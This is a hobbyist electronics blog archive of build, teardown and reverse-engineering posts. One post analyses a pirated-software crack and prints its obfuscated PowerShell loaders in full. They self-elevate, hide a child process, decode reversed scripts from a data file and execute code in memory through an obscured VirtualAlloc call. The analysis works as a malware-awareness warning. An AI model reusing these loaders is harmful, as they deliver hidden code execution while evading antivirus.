Category Archives: Experimental

Electronics, Experimental

THE GAP BETWEEN YOU AND MAINS

Leave a comment

#103 Dangerous BK-357 USB charger teardown

Listing on Takealot
Claimed output…

While looking for a new multi port USB charger I came across the Model BK-357 sold on Takealot by OQ Trading. This charger had many positive reviews with a 4.1 star rating at the time of writing this article and for the low price of R149.00 I had to give this device a try.

Caps could potentially be repurposed from e-waste…

Once I received my charger I noticed That the fast charge USB port was working flawlessly but the 3 normal charging USB ports seemed to have current divided between them.

So I decided to open the charger to investigate further. I noticed the bottom part was glued into place and could be pried open carefully with a small screwdriver and spudger.

Primary and secondary sides with a thin line in-between…

Once opened the PCB was in good condition and contains 2 small switching transformers and a nice fusible resistor that also acts as an inrush limiter but that’s where to positives end. The interference capacitor was skimped on also the electrolytic capacitors are all different colours and brands It’s possible that they have been taken off old junk and re-purposed which is okey but they may have a diminished quality which is almost as alarming as the gap between the primary and secondary sides of the transformers. The biggest gap is around 4.8mm which is not to bad but right in the middle the gap closes all the way to 1.3mm!!!

Largest gap is around 4.8mm and the smallest is a whopping 1.3mm!!

This is very dangerous since there is 1.3mm of PCB space between you and mains voltage!!!

I will be posting my findings as a review on Takealot.

When purchasing multiple socketed USB chargers go for the larger more expensive ones.. As you can see in this case the tiny transformers just can’t output enough current on the cheapies.

The article from Europe’s Safety Gate Alerts can be found here. They identified the problems and measured the charger all the way back in December 2021 in Ireland and here in SA we are happily selling these.

I have also included an article from a Russian review back in March 2021. where The charger was also analysed and determined to be a potential hazard the article can be found here.

BK-357-USB-charger.pdfDownload
1x fast charge 3x normal charge with current divided by 3
Electronics, Experimental

MOTOROLA CM140

12 Comments

#102 Reprogramming an old CM140 radio

Motorola CM140 From 2003.
Testing shows great results.

If you do not have the code plug password or a saved code plug with the radios serial number then this post is for you.

I recently came into possession of 2 Motorola CM140 25W radios. These radios belonged to my grandfathers old security company which is now dissolved, however amongst a lot of the kit I was able to save a few gems.

Upon inspection these radios were in immaculate condition despite there age. I was able to power up both radios only to find that they were programmed to one channel and when I used Commercial Series CPS (customer programming software) I could not read or write to the radio since the code plug was password protected.

Luckily I found a sample code plug for the model of CM140 radio I had. This allowed me to clone and change the password of the radio using the sample code plug now I can read/write to the radio

I have created a step by step document on my GitHub page here.

Schematic For The Programming Cable. Updated to V1.1 on the 3rd of April 2025
Any 5v TTL Device Can Work.
Experimental, Programming

REVERSING ANB CRACK

Leave a comment

#101 Reverse Engineering A Simple Crack

A lot of times the ordinary everyday person is unable to resist using pirated software. After all it’s free and usually works, there is the chance of contracting a virus or other malware but using reputable “sources” is acceptable because if many comments praise the distributor then obviously the software can be fine right?

Well…. not necessarily… in some cases bots can create comments and high seed counts creating the appearance of a well received product. Also flags as false positives can be used as camouflage, sometimes the crack installs discrete backdoors sometimes following the living of the land principal. Basically using the files and programs already installed out of the box on Windows or Linux. This makes it very difficult to find the malware as no foreign exe or files are used (at least in the initial stage of infection)

Therefore antivirus software can get stuck with behavior analysis and hash scans. Creating large files (hundreds of megabytes) and reversing code, using BOM to obfuscate are a few little tricks that may be caught by themselves but layering all these techniques can make the malware almost undetectable.

So I decided to create an example using a real life application and crack I found for IBM analyst’s notebook which is used by private and government organizations. Opening a broad portal to many computers luckily when I decoded the scripts I did not see anything too suspicious. however after the patch (DTD.dll) is installed I do not know what behavior the application will show.

The application was downloaded via torrent and yes all the files were correct no man in the middle attacks took place.

Three files are present after unzipping IBM i2 Analyst’s Notebook 9.2.3 Multilingual.zip

Luckily windows CMD and Powershell are used to copy the cack.

crack.zip
IBM_I2_ANB_V9.2.3.exe
IBM_I2_CHART_READER_V9.2.3.exe

Initial folder contents.

Inside crack.zip
—bin.dat
—patch.bat
—Readme.txt

Crack folder contents.

Interesting enough Readme.txt only instructs the user to run patch.bat although the file DTD.dll is copied to \Program Files (x86)\Common Files\i2 Shared\i2 Analyst’s Notebook 7\Components\DTD.dll

There’s no mention of the i2 Analyst’s Notebook 7 folder and we are presumably installing version 9.2.3

patch.bat is obfuscated due to some carefully chosen bytes at the very beginning of the file that are able to trick file and other charset detection software.

Obfuscated patch.bat file
Taking a peek inside the obfuscated patch.bat file

As referenced by this

However once we remove the character and save the file we can see that the .bat file calls Powershell and then extracts and reverses a script from the bin.dat file.. then runs the extracted script in the terminal.

After removing the character

This 1st Powershell script checks for admin privilege then reverses and reads another script from bin.dat.

First Powershell script
PowerShell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
function Test-Administrator {  
    $user = [Security.Principal.WindowsIdentity]::GetCurrent();
    (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)  
}
 
if (-not (Test-Administrator)) {
    Start-Process -FilePath 'cmd.exe' -ArgumentList "/c `"$($pwd.path)\patch.bat`"" -Verb 'RunAs' -WindowStyle
'Normal';
    exit(0);
}
 
$pwsh = "$($env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe";
if ([Environment]::Is64BitProcess) {
    $pwsh = "$($env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe";
}
$fs = [IO.File]::OpenRead('bin.dat');
function Write-Line {
    param (
        $b,
        $s
    )
    $fs.Position = $b;
    $arr = [byte[]]::new($s);
    $fs.Read($arr, 0, $s) | Out-Null;
    [array]::Reverse($arr);
    return [Text.Encoding]::UTF8.GetString($arr);
}
 
$p = [Diagnostics.Process]::new();
$p.StartInfo.WindowStyle = 'Hidden';
$p.StartInfo.FileName = $pwsh;
$p.StartInfo.UseShellExecute = $false;
$p.StartInfo.RedirectStandardInput = $true;
$p.StartInfo.RedirectStandardOutput = $true;
$p.Start();
$p.BeginOutputReadLine();
$p.StandardInput.WriteLine((Write-Line 1809605 44));
$p.StandardInput.WriteLine((Write-Line 1811367 43));
$p.StandardInput.WriteLine((Write-Line 1810556 0));
$p.StandardInput.WriteLine((Write-Line 1812164 42));
$p.StandardInput.WriteLine((Write-Line 1810170 90));
$p.StandardInput.WriteLine((Write-Line 1810017 68));
$p.StandardInput.WriteLine((Write-Line 1809965 47));
$p.StandardInput.WriteLine((Write-Line 1811874 105));
$p.StandardInput.WriteLine((Write-Line 1809071 66));
$p.StandardInput.WriteLine((Write-Line 1810385 56));
$p.StandardInput.WriteLine((Write-Line 1811595 42));
$p.StandardInput.WriteLine((Write-Line 1810117 41));
$p.StandardInput.WriteLine((Write-Line 1810956 16));
$p.StandardInput.WriteLine((Write-Line 1810886 5));
$p.StandardInput.WriteLine((Write-Line 1812211 40));
$p.StandardInput.WriteLine((Write-Line 1811694 1));
$p.StandardInput.WriteLine((Write-Line 1810891 65));
$p.StandardInput.WriteLine((Write-Line 1809394 0));
$p.StandardInput.WriteLine((Write-Line 1810710 162));
$p.StandardInput.WriteLine((Write-Line 1811459 69));
$p.StandardInput.WriteLine((Write-Line 1810260 79));
$p.StandardInput.WriteLine((Write-Line 1809056 1));
$p.StandardInput.WriteLine((Write-Line 1811351 0));
$p.StandardInput.WriteLine((Write-Line 1808904 18));
$p.StandardInput.WriteLine((Write-Line 1810158 11));
$p.StandardInput.WriteLine((Write-Line 1809378 16));
$p.StandardInput.WriteLine((Write-Line 1811741 13));
$p.StandardInput.WriteLine((Write-Line 1811351 16));
$p.StandardInput.WriteLine((Write-Line 1812565 16));
$p.StandardInput.WriteLine((Write-Line 1809850 14));
$p.StandardInput.WriteLine((Write-Line 1811528 16));
$p.StandardInput.WriteLine((Write-Line 1812206 5));
$p.StandardInput.WriteLine((Write-Line 1810972 379));
$p.StandardInput.WriteLine((Write-Line 1812000 164));
$p.StandardInput.WriteLine((Write-Line 1812270 132));
$p.StandardInput.WriteLine((Write-Line 1811558 28));
$p.StandardInput.WriteLine((Write-Line 1808922 95));
$p.StandardInput.WriteLine((Write-Line 1809964 1));
$p.StandardInput.WriteLine((Write-Line 1810956 0));
$p.StandardInput.WriteLine((Write-Line 1812251 19));
$p.StandardInput.WriteLine((Write-Line 1811410 11));
$p.StandardInput.WriteLine((Write-Line 1810582 16));
$p.StandardInput.WriteLine((Write-Line 1808672 16));
$p.StandardInput.WriteLine((Write-Line 1811678 16));
$p.StandardInput.WriteLine((Write-Line 1811544 14));
$p.StandardInput.WriteLine((Write-Line 1808709 16));
$p.StandardInput.WriteLine((Write-Line 1812416 16));
$p.StandardInput.WriteLine((Write-Line 1809057 14));
$p.StandardInput.WriteLine((Write-Line 1809362 16));
$p.StandardInput.WriteLine((Write-Line 1811995 5));
$p.StandardInput.WriteLine((Write-Line 1809864 100));
$p.StandardInput.WriteLine((Write-Line 1809173 108));
$p.StandardInput.WriteLine((Write-Line 1809444 69));
$p.StandardInput.WriteLine((Write-Line 1808725 112));
$p.StandardInput.WriteLine((Write-Line 1811700 41));
$p.StandardInput.WriteLine((Write-Line 1810581 1));
$p.StandardInput.WriteLine((Write-Line 1812211 0));
$p.StandardInput.WriteLine((Write-Line 1808696 13));
$p.StandardInput.WriteLine((Write-Line 1812402 14));
$p.StandardInput.WriteLine((Write-Line 1809408 14));
$p.StandardInput.WriteLine((Write-Line 1811651 14));
$p.StandardInput.WriteLine((Write-Line 1810441 14));
$p.StandardInput.WriteLine((Write-Line 1809705 14));
$p.StandardInput.WriteLine((Write-Line 1809394 14));
$p.StandardInput.WriteLine((Write-Line 1810567 14));
$p.StandardInput.WriteLine((Write-Line 1811637 14));
$p.StandardInput.WriteLine((Write-Line 1810872 14));
$p.StandardInput.WriteLine((Write-Line 1809784 14));
$p.StandardInput.WriteLine((Write-Line 1809654 14));
$p.StandardInput.WriteLine((Write-Line 1809513 92));
$p.StandardInput.WriteLine((Write-Line 1809057 0));
$p.StandardInput.WriteLine((Write-Line 1810085 32));
$p.StandardInput.WriteLine((Write-Line 1811421 38));
$p.StandardInput.WriteLine((Write-Line 1810598 42));
$p.StandardInput.WriteLine((Write-Line 1811811 63));
$p.StandardInput.WriteLine((Write-Line 1809281 81));
$p.StandardInput.WriteLine((Write-Line 1808837 67));
$p.StandardInput.WriteLine((Write-Line 1810640 70));
$p.StandardInput.WriteLine((Write-Line 1809137 36));
$p.StandardInput.WriteLine((Write-Line 1811544 0));
$p.StandardInput.WriteLine((Write-Line 1809798 27));
$p.StandardInput.WriteLine((Write-Line 1809825 11));
$p.StandardInput.WriteLine((Write-Line 1809836 14));
$p.StandardInput.WriteLine((Write-Line 1811665 13));
$p.StandardInput.WriteLine((Write-Line 1811798 13));
$p.StandardInput.WriteLine((Write-Line 1811695 5));
$p.StandardInput.WriteLine((Write-Line 1811586 9));
$p.StandardInput.WriteLine((Write-Line 1809719 65));
$p.StandardInput.WriteLine((Write-Line 1811754 44));
$p.StandardInput.WriteLine((Write-Line 1809017 39));
$p.StandardInput.WriteLine((Write-Line 1809668 37));
$p.StandardInput.WriteLine((Write-Line 1809422 22));
$p.StandardInput.WriteLine((Write-Line 1809649 5));
$p.StandardInput.WriteLine((Write-Line 1810556 11));
$p.StandardInput.WriteLine((Write-Line 1810455 101));
$p.StandardInput.WriteLine((Write-Line 1811979 16));
$p.StandardInput.WriteLine((Write-Line 1810012 5));
$p.StandardInput.WriteLine((Write-Line 1810169 1));
$p.StandardInput.WriteLine((Write-Line 1809394 0));
$p.StandardInput.WriteLine((Write-Line 1812432 133));
$p.StandardInput.WriteLine((Write-Line 1808672 0));
$p.StandardInput.WriteLine((Write-Line 1808725 0));
$p.StandardInput.WriteLine((Write-Line 1810339 46));
$p.StandardInput.WriteLine((Write-Line 1808688 8));
$p.StandardInput.WriteLine((Write-Line 1811694 0));
 
$p.StandardInput.WriteLine('');
$p.WaitForExit();
$fs.Dispose();
exit(0);

The 2nd Powershell script checks the install folders and makes use of the windows dialogs then uses virtualalloc to copy DTD.dll from the bin.dat file to the
\Program Files (x86)\Common Files\i2 Shared\i2 Analyst’s Notebook 7\Components\ directory

Second Powershell script
PowerShell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
Add-Type -AssemblyName PresentationFramework
Add-Type -AssemblyName System.Windows.Forms
 
$dat = [IO.File]::ReadAllBytes('bin.dat');
[Environment]::SetEnvironmentVariable('Desktop', [Environment]::GetFolderPath('Desktop'));
$installDir = [Environment]::ExpandEnvironmentVariables('%windir%');
if (-not [IO.Directory]::Exists($installDir)) {
    [Windows.MessageBox]::Show("Couldn't find defualt installation path ($installDir), Please specify.");
    $browser = New-Object System.Windows.Forms.FolderBrowserDialog
    $browser.Description = "Select Installation Folder";
    $browser.ShowNewFolderButton = $false;
    if ($browser.ShowDialog() -ne "OK") {
        exit(0);
    }
    $installDir = $browser.SelectedPath;
}
[Environment]::SetEnvironmentVariable('InstallDir', $installDir);
 
$assemblies = New-Object -TypeName System.Collections.Generic.Dictionary'[string, System.Reflection.Assembly]' -ArgumentList ([StringComparer]::OrdinalIgnoreCase)
foreach ($assembly in ([AppDomain]::CurrentDomain.GetAssemblies())) {
    $assemblies[[System.IO.Path]::GetFileName($assembly.Location)] = $assembly;
}
 
function Get-Ptr {
    param (
        [IntPtr]
        $ptr,
        [type[]]
        $params,
        [type]
        $rettype
    )
    $bu = [AppDomain]::CurrentDomain.DefineDynamicAssembly([System.Reflection.AssemblyName]::new(('_' + [guid]::NewGuid().ToString())), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(('_' + [guid]::NewGuid().ToString()), $false).DefineType(('_' + [guid]::NewGuid().ToString()), 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);
    $bu.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $params).SetImplementationFlags('Runtime, Managed');
    $bu.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $rettype, $params).SetImplementationFlags('Runtime, Managed');
    $del = $bu.CreateType();
    return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, $del);
}
 
function Get-Func {
    param (
        [string]
        $module,
        [string]
        $name,
        [type[]]
        $params,
        [type]
        $rettype
    )
    $na = $assemblies['System.dll'].GetType(('Microsoft' + '.Win32.' + 'UnsafeN' + 'ativeMethods'));
    $gp = $na.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'));
    $md = $na.GetMethod('GetModuleHandle').Invoke($null, @($module));
    $ptr = $gp.Invoke($null, @(([System.Runtime.InteropServices.HandleRef]::new([object]::new(), $md)), $name));
    return Get-Ptr $ptr $params $rettype;
}
 
$fname = 'V';
$fname += 'i';
$fname += 'r';
$fname += 't';
$fname += 'u';
$fname += 'a';
$fname += 'l';
$fname += 'A';
$fname += 'l';
$fname += 'l';
$fname += 'o';
$fname += 'c';
$func = Get-Func 'Kernel32.dll' $fname @([IntPtr], [IntPtr], [uint32], [uint32]) ([IntPtr]);
 
[Array]::Reverse($dat, 0, 5920);
[Array]::Reverse($dat, 5920, 1792000);
$patch = $func.Invoke(0, 5920, 12288, 64);
[Runtime.InteropServices.Marshal]::Copy($dat, 0, $patch, 5920);
$patchfunc = Get-Ptr $patch @([uint32], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr]);
$patch2 = [Runtime.InteropServices.Marshal]::AllocHGlobal(1792000);
[Runtime.InteropServices.Marshal]::Copy($dat, 5920, $patch2, 1792000);
$patchfunc.Invoke(0, $patch2, 1, 0);
 
function Copy-InstallFile {
    param (
        $path,
        $pos,
        $size
    )
    try {
        $path = [Environment]::ExpandEnvironmentVariables($path);
        [Array]::Reverse($dat, $pos, $size);
        $fs = [IO.File]::Create($path);
        $fs.Write($dat, $pos, $size);
        $fs.Dispose();
    }
    catch {
        [Windows.MessageBox]::Show("Failed write file $path, Make sure Application is not running.");
        exit(0);
    }
}
 
Copy-InstallFile '%SystemDrive%\Program Files (x86)\Common Files\i2 Shared\i2 Analyst's Notebook 7\Components\DTD.dll' 1797920 10752;
 
 
[Windows.MessageBox]::Show("Patch complete!");
exit(0);

Then ends with a messagebox Patch complete!

Opening DTD.dll with dependency viewer shows only 4 functions.

Methods inside of the DTD.dll file

A VirusTotal scan of DTD.dll shows only 3 positives.

Experimental, Programming

UPSILON REMOTE MONITOR

2 Comments

#100 Monitoring A Line UPS Remotely

Modernizing the old UPSilon 2000 application was a daunting task my first thought was to read the serial output but unfortunately the UPS is listed as a HID device and not a simple COM port. So I went down the rabbit hole of trying to communicate with hid devices which have strict security to combat keyloggers. I tried to use kernel32 and the create file read and write file methods but I got access denied. Looking closer I could read some of the inputs of the ups hid device but it was going to take too long to figure out direct communication to the ups without an SDK or a good example app using USB HID to communicate with a UPS.

Computer Management Hid UPS

Some details of my ups hid were:
VID = 0001 PID = 0000 Path = \?\hid#vid_0001&pid_0000#6&7efa158&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} SerialNumber = Manufacturer = MEC Product: MEC0003

Communication over USB

So after wasting 2 days I went back to the drawing board this time instead of using Wireshark to catch the USB packets I decided to take a closer look at the upsilon 2000 application. unfortunately the .dll's don’t show any useful functions in dependency viewer so I can’t call C++ functions from them in C#. So next I switched Wireshark to local monitoring and I found some very useful traffic.

tcp.port == 2570 connect as a client and get data
tcp.port == 8652 read the data from the sms server
udp.port == 11541 udp data

Port 8652 allows me to read alerts sent to the SMS server but instead I re-direct them to my C# application.

GET /smssend_hide.cgi?$sms_recptmobile=0123456789&$sms_content=DESKTOP-294DAYV: This is a test message!&$sms_code=1 HTTP/1.1
User-Agent: RUPS2K SMS
Host: 127.0.0.1
Connection: Keep-Alive

Port 2570 allows me to TCP connect as a client with no auth and now I get all the stat report strings every 1 second.

(238.7 238.7 238.7 007 50.1 27.4 --.- 00001000

The UDP port 11541 always receives upsXXXcnt001 for constant monitoring and I haven’t observed any other use besides this.

ups000cnt001 – connected ups
upsdiscnt001 – not connected

The exe files communicating between themselves are
Monw32.exe 11541 udp listner
RupsMon.exe 2570 tcp listner
UPSilon.exe connects as client

So after finding this info I was able to build a C# app that works in conjunction with UPSilon 2000 but the C# app offers more flexibility such as remote messaging via Telegram or forwarding the stats to a webserver for remote viewing.

The application checks the cd key every time it starts it connects to an IP in Taiwan http://upsilon.icv99.net on port 80 however is you go to port 8080 you get a webpage cd key checking form.
http://59.124.238.71:80
http://upsilon.icv99.net:8080/download_sys/
http://upsilon.icv99.net:8080/download_sys/keycheck.php?cdkey_check=testkey

Reporting serial key and NTFS to home via: http://59.124.238.71

The only thing I couldn’t do was send commands directly to the ups because that communication link is done within the upsilon app itself however I am happy with the overall outcome.

Source code of my application can be found on GitHub

Electronics, Experimental

CUSTOM MOSFET PCB

Leave a comment

#99 Custom WiFi Mosfet PCB with battery backup

Version 1.0 of the protoboard not as appetizing as the schematic…
Reverse side with thicker black wires for the MosFets.

Creating a a custom 4ch Mosfet switch PCB with a built in backup 12v battery changeover circuit takes some careful planning. Since I had experience working with mechanical relay versions the task was not too difficult however it did come with a few extra challenges.
Mosfets require more parts to work reliably they also have significantly different ratings when compared to relays. In this case I was using an esp8266 with 3.3v logic. I had to create an amplifying circuit out of two transistors in order to get around 6.6V to allow the Mosfets to turn on completely thus allowing me to utilize their max current ratings.

The beginning of prototyping always looks so clean…
Bread Board prototyping is always a good idea before soldering.

On my 4ch PCB I used 3x IRL520N and 1x IRLZ44N N channel Mosfets. The IRLZ44N is the best rated for logic level and also the most expensive and rare here at least at this time. I also needed a large amount of amps for the LED strips it was going to switch on and off. The other three IRL520N Mosfets will be used with applications using under 5A of current. Technically I could have just used TIP120 NPN transistors but I wanted to keep the entire PCB Mosfet compatible in case I wanted to swap out any chips.

Drawing block diagrams by hand help the though process.
Creating a clean schematic in KiCad makes building the board easy.

For more info on the project check it out on Github

Electronics, Experimental

RE5V1C SIREN TRIGGER

Leave a comment

#95 A simple Sonoff siren trigger

Remote siren Sonoff device

While looking for ways to trigger a siren through the internet I decided to make a small project using inexpensive modules. I decided to use the SonOff RE5V1C without an enclosure because it was the cheapest option available that would satisfy all my requirements. Likewise I used the LM2596S because it was a cheap and easy to use option unfortunately some of the mini options (like the LM2596 Mini Buck Regulator) are to cumbersome when adjusting the output voltage.

Simple schematic (replaced mini with LM2596S )

The number 1 major pain of this simple project was the red and black speaker wire I used…. This wire is actually more of a pinkish color and the insulation can be torn easily by my fingers however, the problem is dirty copper wire inside this cheap cable that would not solder even with a generous amount of flux.. I had to expose the copper and then try to clean them with vinegar and this partially worked.. However lots of time was wasted with this mundane cleaning. Even standard store bought ripcord solders fine compared to this wire….

Anyway in the end it worked out the way I wanted it to and it’s quite light and reliable, I have the whole system hooked up to a dedicated 12v battery that is trickle charged so when the power goes out the devices will still be operational for quite a while.

The RE5V1C uses from 80mA to 250mA according to the datasheet but I have a 40W siren connected to the relay so if triggered it will use from about 3A to 3.5A depending on the supplied voltage 11.5v – 13v

Experimental, Programming

PRACTICALLY USING THE LOAD-SHEDDING API

4 Comments

#89 An example app showing a practical use case with the API

Using the Eskom load-shedding API is very straight forward however I have noticed that a lot of people get stuck on the last call where an html document is returned instead of Json data. This can throw a spanner in the works because a developer can’t just get the results as a key value pair… the HTML must be parsed and then put into Json before it can be used effectively.

This parsing process is actually quite easy and jut requires a loop with a bit of regex magic to return the values line by line.

Once the values are returned we can then place them into our own Json object and then do something useful with them like creating a loop which reads the times and compares them to the time on my PC then when the json objects time is 10 minutes away the loop then initiates a shutdown of my fan so that it doesn’t drain my ups battery unnecessarily.

Below I have written a small proof of concept application in C# to help inspire others with their projects.

I make use of the LoadShedding.NET.dll library made by IsaTippens using my endpoint documentation and documentation from PolarizedIons.

However in the end I only focused on 2 API endpoints to simplify the example app.

This makes my example much simpler.

You can take a look at my example code on GitHub

Electronics, ESP8266, Experimental

DIY BATTERY + WIFI 4CH RELAY PCB

Leave a comment

#88 A DIY battery + WiFi relay solution

With the ever growing pains of load-shedding looming over South Africans people have been desperately looking for viable alternative energy and battery powered devices. In my case I needed my remote pepper spray devices to be operational in my laboratory even during extended load-shedding times 4h off with 2h charge times.

I could have purchased added a battery and charging circuit to my existing factory made Sonoff board however that could make the PCB larger and I wanted to build a custom solution instead.

My requirements were WiFi capability, at least 4 relays, li-ion battery powered, battery charger with all the standard protection features and for the device to be powered by 5v from a standard phone charger.

The device must be plugged into the 5v phone charger 24/7, when the electricity goes off the device must continue to operate uninterrupted, when the power comes back on the device must change to the charge state uninterrupted.

The device does not have to send a notification when using battery but it must protect from overcurrent and over-discharge.

While looking for components I came across the ESP8266 PSB 04 module which is basically just the MCU WiFi controller used to switch 4 channels by itself

This was perfect for my application because I am already very familiar with Sonoff devices and in this case I do not mind using the firmware on the esp8266 and the Sonoff application + API software for my automation tasks.

Building around the module was a breeze all I needed was the appropriate relay circuits and a decent charging module.

I ended up creating two prototypes because hey there’s always improvements to be made…

Drill holes for terminals and relays
ESP8266 board with buttons, led and 3.3v regulator
Headers to mount LiPo and ESP8266 boards

The components I used on my final version 1.1 are as follows:

  • 4x Songle 10A relays here
  • 4x BC547 transistors here
  • 4x screw terminals here
  • 4x 1N4148 diodes here
  • 4x red led 3mm here
  • 1x yellow led 5mm here
  • 1x LiPo charger MH-CD42 (IP5306 chip on mine) here
  • 1x USB-A male cable here
  • 1x ESP8266 PSB-B04-CN Module 4-Channel Switch here
  • 1x AMS1117 3.3 800mA regulator here
  • 2x 10uf 25v caps here
  • 2x 100nf 25v caps here
  • 1x 18650 battery holder here
  • 1x old laptop battery 18650 (LGABD11865)
  • 9x 1k resistors here
  • 2x small cable ties
  • Various male and female headers

I tried to make the design as modular as practically possible

There are 3 main parts in the design consisting of a main PCB which contains the battery and relays = complementary components then the WiFi module with buttons and 3.3v regulator is located on a small green PCB and finally the LiPo MH-CD42 module can be secured on the main board via headers.

While constructing I had to use a 1.6mm drill bit for the battery holes and a 1.5mm drill bit for the relay holes. I soldered the SMD AMS1117 reg onto 3 a pin male header for easy through hole placement. The relays and the screw terminals required more attention during drilling and placement of the holes due to their pin layout. I also coated all exposed wires with nail varnish as a make shift solder mask.

I had to add an extra 1000uF capacitor between GND and 5v out of the LiPo module because it would briefly lose power when transferring from USB to battery power

Version 1.0 with lots of hot glue and test points
Version 1.1 board layout
Electronics, Experimental, UPS

SIMPLE DIY 18650 BACKUP

Leave a comment

#87 A DIY simple 18650 backup ups board

After setting up a CCTV system consisting of multiple WiFi cameras placed over my property I noticed that certain cameras were located in areas far away from AC outlets covered by my backup electrical system.

In this project I used some an old 18650 (LG makes the LGABD11865 ) from a laptop power supply. Also I upgraded my 5v charger to a 1.5A to provide enough charging and running current for the camera. The camera I am using is the EZVIZ C3W 1080p WiFi camera

Since Load-shedding has been increasing dramatically I had the need to find cheap simple and reliable power sources for there cameras (12v DC). One important requirement is that the backup system needs to fit into a small area E.G an electrical box on a pole where the camera is located.

While researching I came across the so called mini dc ups device mainly used for backing up WiFi routers at either 9v, 12v, 15v, 24v. however these devices seemed a bit overkill electronically wise and also price wise.

So I decided to opt-in on a cheaper smaller sized DIY version the components consisting of:

  • LiPo charger +DC-DC step-up module here
  • suitable PCB board here
  • 18650 li-ion battery holder here
  • 18650 battery 3500mah here
  • 5v cellphone charger micro-usb here

The components are all soldered onto a 50mm x 70mm 1 sided PCB board.

I noticed that the 4056 IC gets quite warm but doesn’t burn my fingers. The same goes for the coil. The specification is max 1A and the load I was applying was around 0.33mA – 0.670mA

After testing this particular LiPo charger PCB I noticed a few major problems the first being that the 8-pin 4056 LiPo chip is a copy of a copy… the next critical problem is that there is no protection circuitry besides the overcharge/discharge function in the 4056 chip.

This is a big problem since the chip does not switch off completely when low voltage occurs and as a result the load will periodically switch on and off unreliably before finally switching off completely. This oscillation can damage the load.

A solution will be to use a separate LiPo PCB with protection mosfets and a separate booster board.

A better solution
4056H PCB + protection mosfets and DW01-A
B6289Y (MT3608 booster)

Electronics, Experimental

CREATING A DIY RELAY

Leave a comment

#81 Building a 12v relay on a cheap PCB board

Completed relay

While working on one of my projects I needed a 12v relay unfortunately I did not have one on hand and was not about to pay for 1 relay plus shipping.

Luckily I had all the components at hand:

1 green and 1 red led
2x 470 ohm resistors
1x 1k resistor
1x 1N4007 diode
1x bc547 transistor
1x 12v relay
Some solid alarm wire
Very cheap rectangular PCB

For a 5 volt version just replace with a 5v relay and 2x 100 ohm resistors for the LEDs.

Unfortunately the PCB I had was very cheap and I could not fit the screw terminals I had so I had to squeeze them in.
I also used thin alarm wire as i did not need to switch high amps but luckily everything worked out in the end.

It was a bit messy but next time I will use a better quality PCB that doesn’t burn tracks when making solder bridge tracks.

The BC547 also allows switching with 3.3 volt logic but remember to supply the 12v